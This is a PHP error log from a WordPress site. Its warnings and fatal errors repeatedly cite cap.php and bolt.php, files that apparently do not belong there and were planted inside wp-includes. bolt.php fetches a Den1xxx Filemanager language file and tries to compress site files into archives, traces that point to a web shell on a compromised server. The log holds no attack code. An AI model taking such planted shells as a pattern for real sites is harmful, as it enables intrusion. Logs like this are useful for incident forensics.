[25-Jun-2026 18:38:08 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:38:08 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:38:24 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:38:24 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:38:54 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:38:54 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:38:54 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 887
[25-Jun-2026 18:38:54 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 887
[25-Jun-2026 18:38:54 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 888
[25-Jun-2026 18:38:54 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 888
[25-Jun-2026 18:38:54 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 889
[25-Jun-2026 18:38:54 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 889
[25-Jun-2026 18:38:54 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 890
[25-Jun-2026 18:38:54 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 890
[25-Jun-2026 18:38:54 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 891
[25-Jun-2026 18:38:54 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 891
[25-Jun-2026 18:38:54 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 892
[25-Jun-2026 18:38:54 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 892
[25-Jun-2026 18:38:54 UTC] PHP Warning:  foreach() argument must be of type array|object, null given in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 558
[25-Jun-2026 18:38:54 UTC] PHP Warning:  foreach() argument must be of type array|object, null given in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 558
[25-Jun-2026 18:38:55 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:42:01 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:42:01 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:42:01 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1250
[25-Jun-2026 18:42:01 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 18:42:01 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 18:42:48 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:42:48 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:42:48 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 953
[25-Jun-2026 18:42:48 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 953
[25-Jun-2026 18:42:49 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:43:22 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:43:22 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:43:22 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 953
[25-Jun-2026 18:43:22 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 953
[25-Jun-2026 18:43:22 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:43:35 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:43:35 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:43:35 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:43:35 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:43:35 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 953
[25-Jun-2026 18:43:35 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 953
[25-Jun-2026 18:43:35 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:43:35 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:44:00 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:44:00 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:44:00 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:44:07 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:44:20 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:44:20 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:44:20 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 953
[25-Jun-2026 18:44:20 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 953
[25-Jun-2026 18:44:20 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:44:20 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:44:20 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1250
[25-Jun-2026 18:44:20 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 18:44:20 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 18:44:20 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:44:46 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:45:32 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:45:32 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:45:32 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:45:32 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:46:01 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:46:01 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:46:01 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:46:16 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:46:16 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:46:16 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:46:29 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:46:29 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:46:29 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:46:29 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:46:38 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:46:38 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:47:58 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:47:58 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:48:03 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:48:03 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:48:03 UTC] PHP Warning:  Undefined variable $ext in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1208
[25-Jun-2026 18:48:03 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function rangkhwampanithan() in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php:1223
Stack trace:
#0 {main}
  thrown in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1223
[25-Jun-2026 18:48:03 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:48:03 UTC] PHP Warning:  Undefined variable $ext in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 1115
[25-Jun-2026 18:48:24 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:48:24 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:48:24 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function rangkhwampanithan() in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php:1223
Stack trace:
#0 {main}
  thrown in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1223
[25-Jun-2026 18:48:24 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:48:24 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:48:34 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:48:34 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:48:34 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function rangkhwampanithan() in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php:1223
Stack trace:
#0 {main}
  thrown in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1223
[25-Jun-2026 18:48:34 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:48:43 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:48:43 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:48:44 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:48:44 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php.php.tar.gz" exists and must be unlinked prior to conversion in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php:1115
Stack trace:
#0 /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php(1115): PharData->compress()
#1 {main}
  thrown in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 1115
[25-Jun-2026 18:49:41 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:49:41 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:49:41 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:49:41 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php.php.tar.gz" exists and must be unlinked prior to conversion in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php:1115
Stack trace:
#0 /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php(1115): PharData->compress()
#1 {main}
  thrown in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 1115
[25-Jun-2026 18:50:02 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:50:02 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:50:02 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function rangkhwampanithan() in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php:1223
Stack trace:
#0 {main}
  thrown in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1223
[25-Jun-2026 18:50:03 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:50:33 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:50:33 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:50:33 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/laratrends/public_html/wp-includes/Text/Diff/Renderer/inline.php.php.tar.gz" exists and must be unlinked prior to conversion in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php:1115
Stack trace:
#0 /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php(1115): PharData->compress()
#1 {main}
  thrown in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 1115
[25-Jun-2026 18:50:42 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:50:42 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:50:42 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 629
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 629
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 887
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 887
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 888
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 888
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 889
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 889
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 890
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 890
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 891
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 891
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 892
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 892
[25-Jun-2026 19:34:39 UTC] PHP Warning:  foreach() argument must be of type array|object, null given in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 558
[25-Jun-2026 19:34:39 UTC] PHP Warning:  foreach() argument must be of type array|object, null given in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 558
[25-Jun-2026 19:34:45 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:34:45 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:34:49 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:34:49 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:34:49 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1250
[25-Jun-2026 19:34:49 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 19:34:49 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 19:34:59 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:35:21 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:35:21 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:35:21 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1250
[25-Jun-2026 19:35:21 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 19:35:21 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 19:35:47 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:35:52 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:35:52 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:35:52 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 953
[25-Jun-2026 19:35:52 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 953
[25-Jun-2026 19:36:04 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:36:04 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:36:04 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1250
[25-Jun-2026 19:36:04 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 19:36:04 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
